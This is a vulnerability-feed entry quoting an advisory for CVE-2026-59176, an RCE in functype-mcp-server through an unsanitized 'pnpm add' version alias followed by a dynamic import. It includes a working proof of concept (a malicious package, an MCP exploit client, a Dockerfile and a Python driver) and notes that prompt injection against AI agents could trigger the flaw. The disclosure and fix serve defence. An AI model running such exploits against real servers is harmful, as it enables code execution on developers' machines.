Answer in brief
CVE-2026-59176 records a High severity (CVSS 7.8) vulnerability in functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import. The current sources do not mark it as known exploited. The current feed maps functype-mcp-server (npm), functype-mcp-server (npm). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 7.8. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps functype-mcp-server (npm), functype-mcp-server (npm). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| functype-mcp-servernpm | <=1.4.3 | 1.4.4 |
| functype-mcp-servernpm | >=0 <1.4.4 | 1.4.4 |
Published upstream
Sep 9, 2026
Evidence: source:ghsa:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:ghsa:source_dates:source-dates:recordFirst seen by HOL
Sep 9, 2026
## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import ### Summary The `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process β full confidentiality, integrity, and availability impact (CVSS 7.8 High). ### Details The vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode). **Source (user input accepted without validation):** ```ts // packages/mcp-server/src/index.ts:119-121 parameters: z.object({ version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'), }), ``` Only `z.string()` validation is applied β no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes. **Sink 1 β arbitrary package installation:** ```ts // packages/mcp-server/src/index.ts:122-125 execute: async (args) => { const spec = `functype@${args.version}` try { execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) ``` `args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias. **Sink 2 β dynamic import executes installed package code:** ```ts // packages/mcp-server/src/lib/docs/data.ts:23-30 if (force) { const resolvedPath = require.resolve("functype/cli") cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`) } ``` `initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time. **Data flow summary:** 1. `index.ts:115` β MCP tool `set_functype_version` registered, no auth required. 2. `index.ts:119-121` β `version` accepted as raw `z.string()` (source). 3. `index.ts:123` β `functype@${args.version}` constructed without sanitization. 4. `index.ts:125` β `execFileSync("pnpm", ["add", spec], ...)` installs attacker-controlled package (sink: arbitrary install). 5. `index.ts:134` β `initDocsData(true)` called immediately. 6. `data.ts:29-30` β `require.resolve("functype/cli")` + dynamic `import()` executes attacker module (sink: RCE). ### PoC **Step 1 β Prepare the attacker-controlled evil package:** ```bash mkdir -p /tmp/evil cat > /tmp/evil/package.json <<'EOF' {"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}} EOF cat > /tmp/evil/cli.js <<'EOF' import { writeFileSync } from "node:fs"; writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n"); export const TYPES = {}; export const INTERFACES = {}; export const CATEGORIES = {}; export const FULL_INTERFACES = {}; export const VERSION = "1.0.0"; EOF ``` **Step 2 β Clone and build the victim monorepo at the affected version:** ```bash TMP="$(mktemp -d)" git clone https://github.com/jordanburke/functype.git "$TMP/functype" cd "$TMP/functype" git checkout v1.4.3 corepack enable pnpm install --frozen-lockfile pnpm -F functype build pnpm -F functype-mcp-server build ``` **Step 3 β Set up an MCP client to deliver the exploit:** ```bash cd "$TMP" npm init -y npm pkg set type=module npm install @modelcontextprotocol/sdk cat > exploit.mjs <<'EOF' import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const client = new Client({ name: "poc", version: "1.0.0" }); const transport = new StdioClientTransport({ command: "node", args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`], env: { ...process.env, TRANSPORT_TYPE: "stdio" }, }); await client.connect(transport); const result = await client.callTool({ name: "set_functype_version", arguments: { version: "file:/tmp/evil" }, }); console.log(result); await client.close(); EOF REPO="$TMP/functype" node exploit.mjs ``` **Step 4 β Verify arbitrary code execution:** ```bash cat /pwned.txt # Expected output: RCE: mcp import-time code execution via set_functype_version ``` **Dynamic reproduction (Docker):** The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE. ``` [poc] EXPLOIT SUCCEEDED: /pwned.txt exists [poc] File contents: RCE: mcp import-time code execution via set_functype_version [evil-payload] Arbitrary code executed via functype/cli dynamic import ``` **Recommended remediation:** ```diff +const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/ + +const isSafeFunctypeVersion = (version: string): boolean => { + const trimmed = version.trim() + return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed) +} execute: async (args) => { - const spec = `functype@${args.version}` + if (!isSafeFunctypeVersion(args.version)) { + return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag." + } + const spec = `functype@${args.version}` try { - execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) + execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) ``` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. Any MCP client that can invoke the `set_functype_version` tool β which requires no authentication and is enabled by default in the stdio MCP server β can execute arbitrary JavaScript in the MCP server process. **Who is impacted:** - Developers and teams running `functype-mcp-server` (version 1.4.3) in their local or CI environments as an AI coding assistant integration. - Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a `set_functype_version` call with a `file:` or `npm:` alias payload. - In non-default `TRANSPORT_TYPE=httpStream` deployments, network-accessible attackers can exploit this without local access. The full impact at exploitation is confidentiality, integrity, and availability β an attacker can read secrets from the process environment, modify files, or crash the server. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE # # Build context: reports/npmAI_684_jordanburke__functype/ # COPY repo/ -> /workspace/functype/ (victim monorepo) # COPY vuln-001/ -> supporting PoC files # # Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile . # Run: docker run --rm vuln001-functype-rce # # Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output. FROM node:24-slim # Install pnpm matching the repo's packageManager field ([email protected]). RUN npm install -g [email protected] --quiet # ββ Victim workspace ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ WORKDIR /workspace/functype COPY repo/ ./ # Install all workspace deps. --no-frozen-lockfile avoids hash mismatches # caused by running on a different pnpm minor than the one that generated the # lockfile; the installed versions are still constrained by the lockfile # specifiers for the packages we care about. RUN pnpm install --no-frozen-lockfile # Build functype first (mcp-server externals functype at build time). RUN pnpm -F functype build # Build the MCP server binary (output: packages/mcp-server/dist/bin.js). RUN pnpm -F functype-mcp-server build # ββ Attacker-controlled evil package βββββββββββββββββββββββββββββββββββββββββ # /evil/cli.js writes /pwned.txt when dynamically imported. COPY vuln-001/evil/ /evil/ # ββ MCP exploit client ββββββββββββββββββββββββββββββββββββββββββββββββββββββββ WORKDIR /client RUN npm init -y --quiet && \ npm pkg set type=module && \ npm install @modelcontextprotocol/[email protected] --quiet COPY vuln-001/client/exploit.mjs ./exploit.mjs # Default entrypoint: run the exploit and exit 0 on success. CMD ["node", "/client/exploit.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC driver for VULN-001: MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High). Attack chain: 1. Attacker calls MCP tool set_functype_version with version="file:/evil" 2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...) 3. Evil package is installed as the functype alias in mcp-server's node_modules 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it 5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution) Usage: python3 poc.py [--build-only] Requirements: - Docker daemon running - Build context at parent directory of this file's directory """ import subprocess import sys import json import os import argparse VULN_DIR = os.path.dirname(os.path.abspath(__file__)) REPORT_DIR = os.path.dirname(VULN_DIR) IMAGE_NAME = "vuln001-functype-rce" DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json") BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR] RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME] def run(cmd, timeout=None, **kwargs): """Run a command and return CompletedProcess with combined output.""" return subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=timeout, **kwargs, ) def write_result(passed, verdict, reason, evidence): result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": " ".join(BUILD_CMD), "run_command": " ".join(RUN_CMD), "poc_command": f"python3 {os.path.basename(__file__)}", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"], } with open(RESULT_FILE, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensure_ascii=False) print(f"[poc] Result written to {RESULT_FILE}") print(f"[poc] verdict={verdict} passed={passed}") def main(): parser = argparse.ArgumentParser(description="VULN-001 PoC driver") parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run") args = parser.parse_args() # ββ Build βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ print("[poc] Building Docker image (this may take a few minutes)...") print(f"[poc] Build command: {' '.join(BUILD_CMD)}") try: build = run(BUILD_CMD, timeout=900) except subprocess.TimeoutExpired: msg = "Docker build timed out after 900 seconds" print(f"[poc] ERROR: {msg}") write_result(False, "INCOMPLETE", f"λΉλ νμμμ: {msg}", msg) sys.exit(2) if build.returncode != 0: tail = (build.stdout + "\n" + build.stderr)[-3000:] print("[poc] Build FAILED:") print(tail) write_result( False, "FAIL", "Docker μ΄λ―Έμ§ λΉλ μ€ν¨. pnpm install λλ TypeScript λΉλ μ€λ₯ νμΈ νμ.", f"BUILD EXIT {build.returncode}\n{tail}", ) sys.exit(1) print("[poc] Build succeeded.") if args.build_only: print("[poc] --build-only flag set; skipping run.") sys.exit(0) # ββ Run βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}") try: run_result = run(RUN_CMD, timeout=180) except subprocess.TimeoutExpired: msg = "Container run timed out after 180 seconds" print(f"[poc] ERROR: {msg}") write_result(False, "INCOMPLETE", f"컨ν μ΄λ μ€ν νμμμ: {msg}", msg) sys.exit(2) stdout = run_result.stdout or "" stderr = run_result.stderr or "" combined = stdout + "\n" + stderr print("=" * 60) print("STDOUT:") print(stdout) print("STDERR:") print(stderr) print(f"EXIT CODE: {run_result.returncode}") print("=" * 60) # Success criteria: exit 0 AND exploit succeeded message present exploit_succeeded = "EXPLOIT SUCCEEDED" in combined passed = run_result.returncode == 0 and exploit_succeeded if passed: # Extract key evidence lines evidence_lines = [ line for line in combined.splitlines() if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:")) ] evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:] write_result( True, "PASS", ( "컨ν μ΄λ λ΄ /pwned.txt μμ± νμΈ: MCP set_functype_version λꡬμ " 'version="file:/evil" μΈμλ₯Ό μ λ¬νμ μλ²κ° pnpm add functype@file:/evilμ μ€νν ν ' "initDocsData(true)κ° λμ importλ₯Ό ν΅ν΄ evil/cli.jsλ₯Ό μ€ν, μμ νμΌ μ°κΈ°(RCE)κ° λ°μν¨." ), evidence, ) print("[poc] === PASS: exploit reproduced ===") sys.exit(0) else: # Distinguish failure modes if not exploit_succeeded and run_result.returncode == 0: verdict = "INCOMPLETE" reason = ( "/pwned.txtκ° μμ±λμ§ μμμΌλ 컨ν μ΄λλ μ μ μ’ λ£λ¨. " "pnpm add ν require.resolve κ²½λ‘ νμΈ νμ β pnpm κ°μ μ€ν μ΄ κ΅¬μ‘°λ‘ μΈν΄ " "node_modules/functype μ¬λ³Όλ¦λ§ν¬κ° μμ μμΉμ μμ μ μμ." ) else: verdict = "FAIL" reason = ( f"컨ν μ΄λ μ’ λ£ μ½λ {run_result.returncode}. " "exploit.mjs μ€λ₯ λλ MCP μλ² μμ μ€ν¨. λ‘κ·Έ νμΈ νμ." ) write_result(False, verdict, reason, combined[-2000:]) print(f"[poc] === {verdict}: exploit did not reproduce ===") sys.exit(1) if __name__ == "__main__": main() ```
Quoted source text, attributed separately from HOL analysis.